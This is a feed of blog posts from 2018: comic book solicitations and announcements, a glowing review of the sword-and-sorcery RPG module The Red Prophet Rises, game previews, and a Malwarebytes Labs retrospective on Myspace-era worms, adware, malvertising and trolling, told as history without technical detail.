Direct Market On-Sale Date: 7/4


BRAND NEW LEAD STORY: “Hot or NOT!” Riverdale is having a heat wave, and the gang is just trying to stay cool—Veronica’s mansion is the only option for a cool retreat, but she’s away on vacation. What will they do?
Script: Dan Parent
Art: Bill Galvan, Bob Smith, Glenn Whitmore, Jack Morelli
Cover: Bill Galvan, Rosario “Tito” Peña
Ship Date: 7/11
On Sale Date: 7/25
128-page, full color comic
$6.99 U.S.


BRAND NEW LEAD STORY: “Lost & Confounded” Archie, Betty, and Kevin have jobs as counselors at summer camp. When a little girl loses her teddy bear, it becomes a mad dash to find it. What lengths will the counselors go to save the day for a homesick kid?
Script: Dan Parent
Art: Bill Golliher, Bob Smith, Glenn Whitmore, Jack Morelli
Cover: Bill Galvan, Rosario “Tito” Peña
Ship Date: 6/20
On Sale Date: 7/4
192-page, full color comic
$6.99 U.S.


Take a magical trip down Storybook Lane with this collection of the best fairy tale stories ever told in Riverdale! From glass slippers to giant beanstalks and yellow brick roads to tales from under the seas, this classic collection will have you entertained for hours!

Script: Various
Art: Various
Cover: Dan Parent
$19.99 US/$11.99 CAN
6 5/8 x 10”
224 pp, Full Color
Direct Market On-Sale Date: 7/25


Classic Betty and Veronica-style stories are back with this collection of fun tales that see the two iconic BFFs travel the world and get into all kinds of international adventures!
Script: Bill Golliher
Art: Dan Parent
BV FF: Travel Tales #2 CVR A Reg: Dan Parent
Ship Date: 6/27
On Sale Date: 7/11
24-page, full color comic
$2.99 U.S.


BRAND NEW LEAD STORY: “The Empress’s New Clothes!” Queen Veronica has it all… yet she still wants more! Tired of Veronica’s spoiled ways, handmaiden Betty promises the Queen a new dress that’s invisible to all those beneath her. Will Queen Veronica’s new wardrobe suit her needs or will she be in for a surprise?
Script: Bill Golliher
Art: Dan Parent, Rich Koslowski, Glenn Whitmore, Jack Morelli
Cover: Jeff Shultz, Rosario “Tito” Peña
Ship Date: 7/4
On Sale Date: 7/18
192-page, full color comic
$6.99 U.S.


BRAND NEW LEAD STORY: “We Can Work it Out!” Pop Tate opens a snack bar on the beach and hires Archie and Betty to work there. But when Betty gets sick, Jughead fills in and things go awry—especially when they run out of food and have to improvise!
Script: Dan Parent
Art: Jeff Shultz, Jim Amash, Glenn Whitmore, Jack Morelli
Cover: Bill Golliher, Bob Smith, Rosario “Tito” Peña
Ship Date: 6/27
On Sale Date: 7/11
192-page, full color comic
$6.99 U.S.

Categories: Comic Book Blogs

[REVIEW] The Red Prophet Rises

Beyond Fomalhaut - Tue, 04/17/2018 - 13:00

The Red Prophet Rises (2018)by Aaron Fairbrook (Malrex) and Prince of NothingPublished by The Merciless Merchants3rd to 5th level
The Red Prophet RisesThere are probably more good sword&sorcery rulesets than there are good sword&sorcery adventure modules. You can try it yourself, and the list in the left column will be longer than the one in the right. After a lot of hullaballoo about D&D’s pulp fantasy roots, and the importance of reading the “Appendix N” books to truly understand where Gary and friends were coming from, we still get more lip service in this area than the actual good stuff. S&S-style modules either miss something essential from the genre ingredients (most of them are just regular ol’ D&D with a thin S&S veneer), or – almost as often – they work better as stories than complex, open-ended game scenarios. It is a sad state of affairs. This review is about an exception.
The big thing about The Red Prophet Rises is that it does three things very well. It taps into the earnest violence of the genre, it presents an interesting situation offering a variety of in-game approaches in a complex, dynamic environment, and it is written in a way that combines functionality with flavour (proving once and for all that the two can be reconciled). Here is why it is great.
This is a module that takes one of the things sword&sorcery is famous for – unflinching brutality in barren, hostile natural environments – and sticks to its theme with both talent and consistency. Now, this is not “all” S&S is about, but it is S&S at its most recognisable – Frazetta, Brom, Conan (the movie version), buff people in S&M gear with horned helmets, butchery and raw violence. The module is set in a series of canyons in the middle of a rocky wasteland, as well as a series of caverns off to the sides. This unpleasant place is currently inhabited by a crazed cult of plainsmen engaged in a frenzy of killing, feasting and drugged orgies, awaiting the opening of their new paradise foretold by Khazra, their new prophet. It is the good stuff, and where the D&Disms creep in, they are handled in a way that doesn’t diminish the vision of this bloody spectacle.
There is a visceral quality to the writing which creates a great sense of place. You can smell the fires and smoke, hear the nomads carousing as they gorge themselves on charred rabbit by their fire pits, hear the brutal overseers bellow with whips in their hands, and feel the chaos as livestock runs wild among the plainsmen. There is blood, dust, an arena of death with a great throne above it, something called The Pit of Despair (hell yes!), a temple of blood, and living quarters carved into the rocks.  There is something feverish about the bacchanalian festivities in this wasteland hellhole, part the drugged orgy of the snake-cult from Conan the Barbarian, part the raiders from Mad Max 2 (Khazra and his underlings are basically Lord Humungus and his psycho bikers). This kind of thing hasn’t really been done before in old-school D&D modules.
Best of all, The Red Prophet Rises is an actually well-designed adventure scenario. The canyons and the surrounding caverns serve as a complex, dynamic environment which operates under its own logic and rules. As a dungeon (it is a dungeon kind of the same way Steading of the Hill Giant Chief is a dungeon), it is a dangerous cul-de-sac where it is much easier to get in than to get out, not to mention it is packed to the gills with frenzied marauders out for blood, run by two distracted but fairly wily leaders. However, it is also a sufficiently chaotic and busy place that a party of adventurers can come up with any number of plans to infiltrate it and accomplish whatever they came for (by default, the module was written for a paladin to find his special mount). There are great opportunities for strategy, underpinned by a fairly simple, yet reasonably believable timetable to determine what the cultists are doing any specific time of the day, robust encounter tables to complicate things (lots of hidden agendas and odd personalities in this camp of misfits), and notes on tactics to determine the inhabitants’ reactions when the party inevitably mess up.
The care also shows in the encounter design. Most locations on the key have their own, small-scale encounter dynamic or conflict going on, which can impact the way the scenario unfolds in multiple ways. There are hard decisions, surprises that call for quick thinking and improvisation, and there are also opportunities to seize, allies to find and hidden enmities to exploit. Getting into parts of the canyon system through social engineering, stealth, disguise, or a (potentially suicidal, although surely awesome) frontal assault can be a challenge by itself. The design really rewards groups who can think on their feet and move with the flow – there may even be ways to keep the action moving if the party’s cover is blown and they find themselves surrounded by a small army of armed killers. There is also good exploration, which puts the focus on being observant and imaginative rather than repeating rote dungeon routines (this is also the case for finding the magic items, which are almost all interesting new items with non-standard capabilities).
There is a second level to the module, in the same way In Search of Unknown has a second level – of course it does, but you tend to gloss over it because while it is not bad, it is superfluous. It does not really add to the experience, and it might even distract from the brutal revelry of the barbarian camp one level higher. The infiltration of an unholy yet living place gives way to more straightforward dungeon fare in a mostly abandoned environment, one that is altogether more in the vein of high-level D&D than the grim chaos of the canyon encampment. There is less to do, there are fewer ways to do it, and it is fairly disconnected from the things going up above ground (even in the physical sense). Finally, this dungeon level ends up revealing some of the mysteries behind the canyon and its holy site, and as it so often happens, we are better off not knowing – something raw and powerful is lost once things are made too literal, and we have an explanation instead of a hunch. I would just cut the whole thing (including area 27 on level 1) and reuse it elsewhere – it would work as a standalone mini-dungeon with some fairly cool obsidian-centric monsters and traps.
The Red Prophet Rises features good, effective writing, the kind I would like to see more often in game products. It is economic, and written to help the GM, but it is not a dry, soulless technical text. It is expressive without wasting words, giving you just the right kind of impressions to get the idea. “A brute with arms covered in ritual scars whips and brutalizes a bleeding and injured man kneeling on the ground”, or “The walls of the cavern are decorated with a variety of weapons, shields, and tapestries depicting lurid scenes of sacrifice, murder and war. Red curtains frame a throne of carved stone (…)”. Location information is broken down into a bullet point list, giving you more specific details after establishing the general scene. Helpful tables and side bars contain additional information. The booklet is well-edited; the information you need is placed at your fingertips, or you receive helpful references to help running the game. This is the kind of polish you don’t tend to notice consciously, but it makes a difference at the table. There is a monster cheat sheet.
The Red Prophet Rises is one of the pleasant surprises of the year. It holds up well any way I look at it, and achieves such a high level of overall polish that it sets a good standard to look up to and learn from. Furthermore, it is one of the rare sword&sorcery modules which combines a great understanding of the genre with the considerations of a fantasy RPG. As I argued above, the module does not really need its second level, and I would recommend just omitting it in play. Sure, you’d miss nine pages of fairly good stuff (in the three or lower four star range), but you are left with about 20 or so pages of pitch-perfect material, and that’s the real treasure.
No playtesters have been listed for this publication, but multiple signs point at it having been playtested.
Rating: ***** / *****
Categories: Tabletop Gaming Blogs


First Comics News - Mon, 04/16/2018 - 19:04

PORTLAND, OR, 04/16/2018 — Writer Bryan Hill (POSTAL, BONEHEAD) and artist Jeff Spokes will launch APHRODITE V this July from Image/Top Cow.

In the near future, Los Angeles is a city on the brink of evolution, struggling with a new wave of terror fueled by black-market technology. Enter Aphrodite V: a fugitive from her masters, seeking individuality and purpose. She is the bleeding edge of biomechanics, and L.A.’s best hope against a new enemy—one that seeks to become a god among machines.

“This is a great way for people unfamiliar with this side of the Top Cow universe to jump into a story about the intersection of technology, humanity, and justice,” said Hill.

One machine wants to destroy the city. Another has come to save it. Only one will survive.

APHRODITE V #1 (Diamond code: MAY180030) hits comic book shops Wednesday, July 18th. The final order cutoff deadline for comics retailers is Monday, June 25th.

Categories: Comic Book Blogs

First Look: BLOODSHOT SALVATION #10 Travels to the 41st Century with Jeff Lemire & Doug Braithwaite!

First Comics News - Mon, 04/16/2018 - 18:54

Valiant is proud to present your first look inside BLOODSHOT SALVATION #10 – the FIRST ISSUE of “THE BOOK OF REVELATIONS,” A SHOCK-INDUCING JUMPING-ON POINT from New York Times best-selling writer Jeff Lemire (Black Hammer, Animal Man) and dazzling artist Doug Braithwaite (X-O MANOWAR, Journey into Mystery)! On June 13th, the creative team that brought the Bloodshot of 4001 A.D. to life returns to the 41st century once again, as Ray Garrison’s salvation-seeking odyssey to secure his daughter’s safety reaches forward – and past the point of no return!

Two thousand years in the future – in the year 4002 A.D. – the man once known as Ray Garrison is no more…but the microscopic nanites inside him live on. Enter Bloodshot 4001 – a strange, gunslinging echo of Bloodshot’s mind, body, and soul that is now more machine than man. But when our century’s Bloodshot finds himself delivered to the dawn of the 41st century with one last mission to fulfill, two Valiant legends will finally come face to face…just as the secret revelation that binds them together across the ages will forever reshape Bloodshot’s place at the center of the Valiant Universe!

On June 13th, Jeff Lemire’s Eisner Award-nominated superhero saga journeys through millennia for the ultimate meeting of man and machine at the crossroads of tomorrow and today! The next stunning chapter starts here as Bloodshot’s past, present, and future collide with superstar creators Jeff Lemire and Doug Braithwaite for “THE BOOK OF REVELATIONS” in BLOODSHOT SALVATION #10 – featuring covers by Kenneth Rocafort (Sideways), Renato Guedes (Wolverine), and Kim Jung Gi (Hit-Girl)!

But first: Witness the fateful tale of a good boy gone bad in BLOODSHOT SALVATION #9! On May 16th, New York Times best-seller Jeff Lemire (The Terrifics), Eisner and Harvey Award nominee Ray Fawkes (Batman: Eternal), and astonishing artist Renato Guedes (X-O MANOWAR) combine their talents for a one-shot issue witnessing the birth of Project Rising Spirit’s Bloodshot program – and the canine weapon of untold destruction they unleashed upon the war to end all wars!

In the wire-strewn trenches of World War I, witness the true story of a good boy gone bad… Before he found his place at Ray Garrison’s side, Bloodshot’s loyal companion learned the depths of mankind’s inhumanity toward brother and beast alike on the battlefields of France. Now, as the Kaiser’s war machine approaches, find out firsthand how a beloved comrade with four legs and a soul full of fury inspired a legacy that still stands after more than a century!

On May 16th, Bloodshot’s die-hard sidekick finally gets his due as all-star creators Jeff Lemire, Ray Fawkes, and Renato Guedes weave a wreckage-laden story of heartbreak and havoc to let loose the ultimate dog of war in BLOODSHOT SALVATION #9 – featuring covers by Kenneth Rocafort (The Ultimates), Renato Guedes (BLOODSHOT SALVATION), Giuseppe Camuncoli (Amazing Spider-Man), Juan José Ryp (BRITANNIA), and Shane Davis (Superman: Earth One)!


Cover B by RENATO GUEDES (MAR182013)
Variant Cover by JUAN JOSÉ RYP (MAR182015)
Bloodshot Icon Variant by SHANE DAVIS (MAR182016)
$3.99 | 32 pgs. | T+ | On Sale MAY 16th (FOC – 4/23/18)

Written by JEFF LEMIRE
Cover B by RENATO GUEDES (APR181860)
Bloodshot Icon Variant by KIM JUNG GI (APR181861)
$3.99 | 32 pgs. | T+ | On Sale JUNE 13th (FOC – 5/21/18)

BLOODSHOT SALVATION #10 – Cover A by Kenneth Rocafort

BLOODSHOT SALVATION #10 – Cover B by Renato Guedes

BLOODSHOT SALVATION #10 – Interior Art by Doug Braithwaite

BLOODSHOT SALVATION #10 – Interior Art by Doug Braithwaite

BLOODSHOT SALVATION #10 – Interior Art by Doug Braithwaite

BLOODSHOT SALVATION #10 – Interior Art by Doug Braithwaite

BLOODSHOT SALVATION #10 – Bloodshot Icon Variant by Kim Jung Gi

Categories: Comic Book Blogs

Rick and Morty Trading Cards Season 1 - Sketch Card Previews, Part 3

Cryptozoic - Mon, 04/16/2018 - 18:10

Please enjoy the third installment of our Rick and Morty Trading Cards Season 1 Sketch Card previews, hand-drawn by our talented artists. Links to contact the artists can be found below the images of their Sketch Cards. Set coming soon!

Categories: Tabletop Gaming Blogs

Museum Rush from Ninja Division

Gamer Goggles - Mon, 04/16/2018 - 16:57

Museum Rush is a competitive thieving game where players race against time to steal treasures from a museum while avoiding cameras, guards, and greedy rivals. Luckily these dastardly robbers have an array of items to help them get the better of the guards and their fellow thieves, such as sultry Llamas, mighty Underwear and the high-tech Cardboard Box.

Available April 18!

Categories: Tabletop Gaming Blogs


First Comics News - Mon, 04/16/2018 - 16:40

PORTLAND, OR, 04/16/2018 — Image/Skybound Entertainment is pleased to announce one last job for THIEF OF THIEVES, the ongoing heist series created by Robert Kirkman in 2012. Series artists Shawn Martinbrough and Adriano Lucas are joined by new writer Brett Lewis (The Winter Men).

“It’s been an absolute pleasure working alongside Robert Kirkman, Nick Spencer, James Asmus, Andy Diggle over the various arcs of this series. Having the freedom to visually create the world of Thief of Thieves and fill it with such an eclectic cast of characters has truly been a blast,” said Martinbrough. “For the final chapter, I welcome my School of Visual Arts college buddy and amazingly talented writer Brett Lewis to our crime family here at Skybound Entertainment. Together, with our superb colorist Adriano Lucas, letterer Rus Wooten, assistant editor Arielle Basich and our ever vigilant and very understanding editor Jon Mosian, we’ve been working hard to take our fans on one hell of a ride on this last job!”

Previously in THIEF OF THIEVES, readers saw master thief, Conrad Paulson, racing across Europe to be crown the greatest thief in the world… only to be taken out by his enemies. Now, Conrad Paulson is dead—or is he? And what does a notorious Russian prison have to do with it?

Find out in THIEF OF THIEVES #38, when the entire crew returns to kick off its final heist!

THIEF OF THIEVES #38 (Diamond Code MAY180273) hits stores on Wednesday, July 4. The final order cutoff for retailers is Monday, June 11.

Categories: Comic Book Blogs

Myspace vs. Facebook: the good old days?

Malwarebytes - Mon, 04/16/2018 - 16:13

Many people have fond memories of ye olde Myspace dotte comme, and those rose-splashed spectacles seem to have grown ever larger in light of the recent Facebook happenings.

In recent days, I’ve seen many declaring their love for all things Tom, and how everything was just one huge barrel of laughs and good times on the fledgling social network. In the showdown of Myspace vs. Facebook, articles are appearing that explain how Tom “beat” Zuckerberg in the long run.

However, a variety of popular memes and more general good vibes based on this sentiment clash with a somewhat more complicated picture of events.

Here’s the thing: I was around at that time, neck deep in social network research from about 2006 to 2010, and one of my main stomping grounds was indeed Myspace. During that time, I wrote about an astonishing amount of problems on the platform. I was responsible for getting a few of them fixed, having a number of bad actors thrown off, and causing lots of problems for adware vendors using so-called Web 2.0 as a testing ground for bogus installs, as well as creating similar headaches for malware authors popping everything from drive-by attacks to worms.

If you missed all of that action, or you simply weren’t around at the time, you might think the current social network bonfire we have on our hands is an entirely new phenomenon. I felt it was worth revisiting the land that time forgot (uh, a decade ago) and seeing what, exactly, was going on.

Way back when

Social network scams are now pretty samey, and new-fangled original attacks are fairly rare. Back in the early days of Myspace, everything was new and exciting, and even the most basic of survey scams or spam comments on someone’s profile page could potentially elicit a gasp or three. In 2006/7, the only people really attempting to harness the huge numbers of social media users were adware vendors and the odd malware author.

Over time, that would shift away from adware to hacks, trolls, and social engineering, leaving everything looking a bit scorched earth…not just on Myspace, but gradually across many other major social network platforms, too.

We begin our exploration of a complicated picture of events with a jaunt back to 2006.

2006: worms, adware, and get rich quick schemes

Looks like our DeLorean has indeed arrived in 2006, because Justin Timberlake is on the radio bringing Sexyback, Superman Returns to cinemas (when he probably shouldn’t have), and Twilight is going wild on bookshelves. Meanwhile our 3-year-old, 2.0 hangout space is starting to run into increasingly frequent trouble.

One of the first major social network worms ripped through Myspace courtesy of a worm hidden inside a Quicktime file. Alterations to infected profiles were made, utterly confusing the profile owners, and it seemed to spread in a manner similar to the first Orkut worm, even coming back to life after a profile clean out. The financial gain here was, in part, due to Zango adware being bundled with the infection file via the worm-creating affiliate who put the whole thing together.

In fact, Zango were caught up in another Myspace fiasco when they claimed they weren’t specifically targeting the platform for installs, despite the uncovering of an affiliate email suggesting just that. Here’s an extract, and the focus on animated gifs and cheery distractions is wonderfully quaint:

“MOVING GIFS. This really gets people’s attention and vistors [sic] love this sh**,” one tip reads. Another: “Highlight the html code and embed one of the videos. This will make it automatically pop when the visitor reaches that page. This will lead to a lot more thinking to themselves: ‘hmm, this looks like a cool video. I’ll watch this. CLICK.'” “More profitably, go to a bunch of your friends who have popular profiles and pay them (it’s up to you so much. One of my partners said 5$…maybe offer to split the money with them?) to put a zango video into their profile through your site. This will give you hundreds of extra installs a day,” the e-mail reads. “This probably works even better than having them on your actual site.”

Moving away from adware vendors. In 2018, malvertising is a big deal—but it’s also a rather old one. We can go back to 2006 and see the infamous WMF exploit being used to install malicious files via banner ads on Myspace, with up to “one million” installs across the thousand or so sites it was loading on. After a couple of years of a fresh new approach to interacting online, people with a taste for cash have moved into town and they have other ideas. Things will straighten themselves out next year, right?

2007: Battle of the bands and glory hunters

One of the wheels has fallen off the DeLorean, but we’re still hitting 88MPH, which is just as well because Shrek 3 and Spider-Man 3 are going off the rails in the cinema, and Rihanna has lost her umbrella. While we’re talking about music…

Most social networks have learned to keep profile page edit functionality to a minimum, or use templates, but Myspace was pretty much the king of “do what you want.” It’s hard to think of another social network that had so eminently editable a profile page. You could do all sorts of custom HTML tricks, hide elements, include new ones, overlay everything with huge sparkly gifs and half a dozen MIDI files—it was great (relatively speaking).

The flip side of this is that bad people could do the same thing.

In 2007, a large number of big name musicians with huge followings, and many smaller bands too, had their Myspace pages compromised. A quick splash of custom HTML later, and clicking anywhere on the page would redirect to rogue sites hosted in China offering up a variety of malicious installs. It was never established what, exactly, was the point of entry for the scammers but if it was a phishing campaign then it was sustained, targeted, and made life very difficult for musicians plying their trade.

Meanwhile, it would have been very handy if Justin Timberlake had brought Sexyback in 2007 instead, because I could have used it to work in a reference to another spate of high-profile compromises. The N*Sync golden boy fell victim to defacements, alongside Hilary Duff and Tila Tequila (if you weren’t nostalgically flopping around in 2007, you definitely are now). These attacks were much more about a sense of “look what we can do,” as opposed any financial gain, and that trend definitely began a steady curve upwards as we limp into 2008.

2008: Trolling, tracking, and hacks

Okay, the DeLorean is somewhat ablaze, and I’ve lost my novelty Tom bobblehead down the back of the seat, but we’re still mostly in one piece. Hunger Games is all the rage in bookstores, Katy Perry is all over the charts, and The Dark Knight is the best chaos-laden Batman movie you’ll ever see (no really, it is). Speaking of chaos…

Myspace had a big problem with troll groups, some of whom I covered in an IRISSCON talk last year. Back then, there weren’t many online sources of help for things like suicide prevention, drug addiction, or other forms of abuse. Myspace groups were, for many, the go-to place for help and advice. Trolls would show up and bomb the boards with gore pictures and worse, and many of the support groups set their boards to private, making them harder to find.

You know what’s bad? Support groups that are hard to find.

After the boards went into lockdown, someone coded up something called the Lottery Browser, which allowed you to click a button and be dumped into a private group at random. Things became problematic quite quickly after that. Harassment campaigns, targeted attacks, even some individuals who kept a sort of “suicide scoreboard,” claiming they were trying to encourage people to kill themselves for Internet kudos points. Myspace eventually fixed this one, too.

An offshoot from the same group created a few lines of code allowing someone visiting your Myspace profile to be auto-subscribed to your video channel. In practice, this meant that you could see, at a glance, if security researchers or law enforcement were checking you out. This was very common on Myspace, and many local law enforcement officers would create profiles and friend people in their area. Nothing says “burn your hard drives” like Officer Jones showing up on your follow list if you’re up to no good.

Myspace had actually blocked most, if not all, IP trackers on profiles, meaning someone couldn’t send you a bogus link and grab an IP. However, it’s arguably more useful to know specifically who is being subscribed to your video list. One of the solutions to this was adding the video portion of the Myspace URL to your hosts file; Myspace eventually fixed this, too, after I brought it to their attention.

In short, things were a bit of a mess, and while social networks of the time had slowly come to terms with malware attacks and adware vendors, the less visible types of social engineering/trolling were a tough nut to crack.

2009: Goodbye Myspace, Hello Facebook

We’ve done it now. The DeLorean is on fire and the book charts are awash with more Hunger Games and Maze Runners. I refuse to watch Avatar, and Beyonce is all about putting a ring on it. I’m trapped in a land of people slowly losing interest in Myspace, while the “like” counter continues to rise for the somewhat cooler juggernaut that is Facebook.

Look, I am definitely not watching Avatar.

Instead, let me direct you to a diagnosis, because Dr. Boyd detects a terminal lack of Myspace scams in exchange for…Facebook privacy control concerns! Honesty boxes! Phishing! These examples are anecdotal and specific to my own research, but in general 2009 felt like a shift away from the elder network onto a portal increasingly holding all the cards. I’m not sure when I wrote my last batch of “lots of problems on Myspace, and here they are” blog posts, but at this point Facebook and Twitter were the places to be. Sorry, Tom.

No stone left unturned

Actually, we have a dump-truck sized stack of rocks we haven’t poked yet. I didn’t get chance to mention 2005’s Samy worm, the near half a million “private” photos that appeared in a Torrent, the 20 year long collection of independent privacy assessments, or…well…you get the idea.

I love social networks. I think they’re great, for the most part. But the ones we have now probably have just as many problems as the sites we’ve abandoned. The specifics may differ, but ultimately none of them are perfect, and the notion that everything was ideal back in the day is a potentially dangerous one.

Those who ignore history are doomed to stand around next to a crater-shaped DeLorean complaining about Avatar. Thankfully, the music is great.

The post Myspace vs. Facebook: the good old days? appeared first on Malwarebytes Labs.

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